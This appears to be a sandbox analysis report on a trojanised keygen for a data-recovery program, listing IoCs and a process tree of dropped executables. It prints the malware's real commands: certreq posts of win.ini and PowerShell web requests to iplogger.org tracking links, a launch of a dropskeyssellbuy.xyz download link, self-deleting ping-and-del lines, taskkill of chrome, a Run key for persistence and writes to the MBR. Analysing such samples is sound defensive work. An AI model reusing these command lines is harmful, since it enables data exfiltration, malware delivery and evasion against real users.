Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 2132 Setup.exe 2096 26FF190E7AE0F7C7.exe 2616 26FF190E7AE0F7C7.exe 3592 firefox.exe 3008 1614540972327.exe 4032 1614540977515.exe 3468 firefox.exe 4688 firefox.exe 4708 1614540983405.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 412 wrote to memory of 2312 412 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 412 wrote to memory of 2312 412 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 412 wrote to memory of 2312 412 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 2312 wrote to memory of 1520 2312 cmd.exe 81 PID 2312 wrote to memory of 1520 2312 cmd.exe 81 PID 2312 wrote to memory of 1520 2312 cmd.exe 81 PID 2312 wrote to memory of 1112 2312 cmd.exe 82 PID 2312 wrote to memory of 1112 2312 cmd.exe 82 PID 2312 wrote to memory of 1112 2312 cmd.exe 82 PID 2312 wrote to memory of 2108 2312 cmd.exe 83 PID 2312 wrote to memory of 2108 2312 cmd.exe 83 PID 2312 wrote to memory of 2108 2312 cmd.exe 83 PID 2312 wrote to memory of 3080 2312 cmd.exe 84 PID 2312 wrote to memory of 3080 2312 cmd.exe 84 PID 2312 wrote to memory of 3080 2312 cmd.exe 84 PID 1520 wrote to memory of 3584 1520 keygen-pr.exe 86 PID 1520 wrote to memory of 3584 1520 keygen-pr.exe 86 PID 1520 wrote to memory of 3584 1520 keygen-pr.exe 86 PID 3080 wrote to memory of 2132 3080 keygen-step-4.exe 85 PID 3080 wrote to memory of 2132 3080 keygen-step-4.exe 85 PID 3080 wrote to memory of 2132 3080 keygen-step-4.exe 85 PID 2108 wrote to memory of 3100 2108 keygen-step-3.exe 87 PID 2108 wrote to memory of 3100 2108 keygen-step-3.exe 87 PID 2108 wrote to memory of 3100 2108 keygen-step-3.exe 87 PID 3584 wrote to memory of 3996 3584 key.exe 89 PID 3584 wrote to memory of 3996 3584 key.exe 89 PID 3584 wrote to memory of 3996 3584 key.exe 89 PID 3100 wrote to memory of 4076 3100 cmd.exe 90 PID 3100 wrote to memory of 4076 3100 cmd.exe 90 PID 3100 wrote to memory of 4076 3100 cmd.exe 90 PID 2132 wrote to memory of 2288 2132 Setup.exe 91 PID 2132 wrote to memory of 2288 2132 Setup.exe 91 PID 2132 wrote to memory of 2288 2132 Setup.exe 91 PID 3232 wrote to memory of 2192 3232 msiexec.exe 93 PID 3232 wrote to memory of 2192 3232 msiexec.exe 93 PID 3232 wrote to memory of 2192 3232 msiexec.exe 93 PID 2132 wrote to memory of 2096 2132 Setup.exe 94 PID 2132 wrote to memory of 2096 2132 Setup.exe 94 PID 2132 wrote to memory of 2096 2132 Setup.exe 94 PID 2132 wrote to memory of 2616 2132 Setup.exe 95 PID 2132 wrote to memory of 2616 2132 Setup.exe 95 PID 2132 wrote to memory of 2616 2132 Setup.exe 95 PID 2132 wrote to memory of 2136 2132 Setup.exe 96 PID 2132 wrote to memory of 2136 2132 Setup.exe 96 PID 2132 wrote to memory of 2136 2132 Setup.exe 96 PID 3080 wrote to memory of 1156 3080 keygen-step-4.exe 97 PID 3080 wrote to memory of 1156 3080 keygen-step-4.exe 97 PID 2136 wrote to memory of 3580 2136 cmd.exe 99 PID 2136 wrote to memory of 3580 2136 cmd.exe 99 PID 2136 wrote to memory of 3580 2136 cmd.exe 99 PID 1156 wrote to memory of 3728 1156 Install.exe 100 PID 1156 wrote to memory of 3728 1156 Install.exe 100 PID 3080 wrote to memory of 3144 3080 keygen-step-4.exe 101 PID 3080 wrote to memory of 3144 3080 keygen-step-4.exe 101 PID 3080 wrote to memory of 3144 3080 keygen-step-4.exe 101 PID 2616 wrote to memory of 2696 2616 26FF190E7AE0F7C7.exe 102 PID 2616 wrote to memory of 2696 2616 26FF190E7AE0F7C7.exe 102 PID 2616 wrote to memory of 2696 2616 26FF190E7AE0F7C7.exe 102 PID 2096 wrote to memory of 3592 2096 26FF190E7AE0F7C7.exe 104 PID 2096 wrote to memory of 3592 2096 26FF190E7AE0F7C7.exe 104 PID 2096 wrote to memory of 3592 2096 26FF190E7AE0F7C7.exe 104 PID 2096 wrote to memory of 3592 2096 26FF190E7AE0F7C7.exe 104 PID 2096 wrote to memory of 3592 2096 26FF190E7AE0F7C7.exe 104 PID 2096 wrote to memory of 3592 2096 26FF190E7AE0F7C7.exe 104
Processes
-
C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"C:\Users\Admin\AppData\Local\Temp\[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:412 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:2312 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat5⤵PID:3996
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:1112
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:4076
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3080 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2132 -
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2288
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 0011 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:3592
-
-
C:\Users\Admin\AppData\Roaming\1614540972327.exe"C:\Users\Admin\AppData\Roaming\1614540972327.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540972327.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3008
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:3468
-
-
C:\Users\Admin\AppData\Roaming\1614540977515.exe"C:\Users\Admin\AppData\Roaming\1614540977515.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540977515.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4032
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:4688
-
-
C:\Users\Admin\AppData\Roaming\1614540983405.exe"C:\Users\Admin\AppData\Roaming\1614540983405.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614540983405.txt"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4708
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵PID:5344
-
-
-
C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exeC:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe 200 installp15⤵
- Executes dropped EXE
- Checks whether UAC is enabled
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2616 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:2696
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:3260
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\26FF190E7AE0F7C7.exe"6⤵PID:3108
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:732
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"5⤵
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
PID:3580
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1156 -
C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3728 -
C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe" 1 3.1614537163.603be1cb0d8c6 1016⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3964 -
C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7712W8AXTQ\multitimer.exe" 2 3.1614537163.603be1cb0d8c67⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4164 -
C:\Users\Admin\AppData\Local\Temp\jp4qu53js3j\safebits.exe"C:\Users\Admin\AppData\Local\Temp\jp4qu53js3j\safebits.exe" /S /pubid=1 /subid=4518⤵PID:5068
-
-
C:\Users\Admin\AppData\Local\Temp\dhg5ivml0a2\fv0urkbgqis.exe"C:\Users\Admin\AppData\Local\Temp\dhg5ivml0a2\fv0urkbgqis.exe" /VERYSILENT8⤵PID:5056
-
C:\Users\Admin\AppData\Local\Temp\is-4IHVG.tmp\fv0urkbgqis.tmp"C:\Users\Admin\AppData\Local\Temp\is-4IHVG.tmp\fv0urkbgqis.tmp" /SL5="$100086,870426,780800,C:\Users\Admin\AppData\Local\Temp\dhg5ivml0a2\fv0urkbgqis.exe" /VERYSILENT9⤵PID:1516
-
-
-
C:\Users\Admin\AppData\Local\Temp\v5bhtzymx2y\vict.exe"C:\Users\Admin\AppData\Local\Temp\v5bhtzymx2y\vict.exe" /VERYSILENT /id=5358⤵PID:2320
-
C:\Users\Admin\AppData\Local\Temp\is-RC338.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-RC338.tmp\vict.tmp" /SL5="$20234,870426,780800,C:\Users\Admin\AppData\Local\Temp\v5bhtzymx2y\vict.exe" /VERYSILENT /id=5359⤵PID:200
-
-
-
C:\Users\Admin\AppData\Local\Temp\xi3rwt1ku2r\bujeiq14epp.exe"C:\Users\Admin\AppData\Local\Temp\xi3rwt1ku2r\bujeiq14epp.exe" /ustwo INSTALL8⤵PID:4052
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 6489⤵
- Program crash
PID:5376
-
-
-
C:\Users\Admin\AppData\Local\Temp\0j2iuc11sor\app.exe"C:\Users\Admin\AppData\Local\Temp\0j2iuc11sor\app.exe" /8-238⤵PID:4140
-
-
C:\Users\Admin\AppData\Local\Temp\thezzlf0job\setup_10.2_us3.exe"C:\Users\Admin\AppData\Local\Temp\thezzlf0job\setup_10.2_us3.exe" /silent8⤵PID:3760
-
C:\Users\Admin\AppData\Local\Temp\is-QANKJ.tmp\setup_10.2_us3.tmp"C:\Users\Admin\AppData\Local\Temp\is-QANKJ.tmp\setup_10.2_us3.tmp" /SL5="$10276,746887,121344,C:\Users\Admin\AppData\Local\Temp\thezzlf0job\setup_10.2_us3.exe" /silent9⤵PID:4976
-
C:\Program Files (x86)\DTS\seed.sfx.exe"C:\Program Files (x86)\DTS\seed.sfx.exe" -pX7mdks39WE0 -s110⤵PID:4684
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1Gusg7"10⤵PID:4704
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\oipzbypu0wc\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\oipzbypu0wc\Setup3310.exe" /Verysilent /subid=5778⤵PID:3592
-
C:\Users\Admin\AppData\Local\Temp\is-FBJ9Q.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-FBJ9Q.tmp\Setup3310.tmp" /SL5="$30230,802346,56832,C:\Users\Admin\AppData\Local\Temp\oipzbypu0wc\Setup3310.exe" /Verysilent /subid=5779⤵PID:4440
-
-
-
C:\Users\Admin\AppData\Local\Temp\yhh0wamwqh5\r2mrkxswhby.exe"C:\Users\Admin\AppData\Local\Temp\yhh0wamwqh5\r2mrkxswhby.exe" testparams8⤵PID:3604
-
-
C:\Users\Admin\AppData\Local\Temp\zgnpk0yg1dc\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\zgnpk0yg1dc\chashepro3.exe" /VERYSILENT8⤵PID:4448
-
C:\Users\Admin\AppData\Local\Temp\is-E7U9Q.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-E7U9Q.tmp\chashepro3.tmp" /SL5="$10334,3362400,58368,C:\Users\Admin\AppData\Local\Temp\zgnpk0yg1dc\chashepro3.exe" /VERYSILENT9⤵PID:4548
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1hTS97"10⤵PID:4788
-
-
C:\Program Files (x86)\JCleaner\ww.exe"C:\Program Files (x86)\JCleaner\ww.exe"10⤵PID:4100
-
-
C:\Program Files (x86)\JCleaner\jayson.exe"C:\Program Files (x86)\JCleaner\jayson.exe"10⤵PID:3968
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"10⤵PID:632
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"10⤵PID:5076
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:5064
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:5204
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1EaGq7 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:5024
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1EaGq7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:5196
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1EaGq7"10⤵PID:2584
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1EaGq7"10⤵PID:4968
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c certreq -post -config https://iplogger.org/1hTS97 %windir%\\win.ini %temp%\\2 & del %temp%\\210⤵PID:4840
-
C:\Windows\SysWOW64\certreq.execertreq -post -config https://iplogger.org/1hTS97 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\211⤵PID:5184
-
-
-
C:\Program Files (x86)\JCleaner\gl.exe"C:\Program Files (x86)\JCleaner\gl.exe"10⤵PID:4796
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\nwshxehvcbe\vpn.exe"C:\Users\Admin\AppData\Local\Temp\nwshxehvcbe\vpn.exe" /silent /subid=4828⤵PID:4468
-
-
C:\Users\Admin\AppData\Local\Temp\mbppagthiwx\t4ermlg2zdt.exe"C:\Users\Admin\AppData\Local\Temp\mbppagthiwx\t4ermlg2zdt.exe" 57a764d042bf88⤵PID:2280
-
-
C:\Users\Admin\AppData\Local\Temp\ekx4a3zzg22\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\ekx4a3zzg22\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵PID:4692
-
C:\Users\Admin\AppData\Local\Temp\is-LBDE2.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-LBDE2.tmp\IBInstaller_97039.tmp" /SL5="$2034A,14464800,721408,C:\Users\Admin\AppData\Local\Temp\ekx4a3zzg22\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵PID:4660
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://dropskeyssellbuy.xyz/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=9703910⤵PID:3444
-
-
C:\Users\Admin\AppData\Local\Temp\is-I3KE6.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-I3KE6.tmp\{app}\chrome_proxy.exe"10⤵PID:492
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"4⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:3144 -
C:\Users\Admin\AppData\Roaming\D92F.tmp.exe"C:\Users\Admin\AppData\Roaming\D92F.tmp.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4024 -
C:\Users\Admin\AppData\Roaming\D92F.tmp.exe"C:\Users\Admin\AppData\Roaming\D92F.tmp.exe"6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3096
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"5⤵PID:4220
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.16⤵
- Runs ping.exe
PID:4312
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"4⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4252
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"4⤵
- Executes dropped EXE
PID:4628 -
C:\ProgramData\7509833.82"C:\ProgramData\7509833.82"5⤵
- Executes dropped EXE
PID:4800
-
-
C:\ProgramData\4469247.49"C:\ProgramData\4469247.49"5⤵
- Executes dropped EXE
PID:4832 -
C:\ProgramData\Windows Host\Windows Host.exe"C:\ProgramData\Windows Host\Windows Host.exe"6⤵PID:4260
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
PID:4892
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3232 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 2CA2220486E37C9A60F65C85C62E5EAC C2⤵
- Loads dropped DLL
PID:2192
-
-
C:\Users\Admin\AppData\Local\Temp\is-4ME9P.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-4ME9P.tmp\vpn.tmp" /SL5="$1033A,15170975,270336,C:\Users\Admin\AppData\Local\Temp\nwshxehvcbe\vpn.exe" /silent /subid=4821⤵PID:4484
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:5232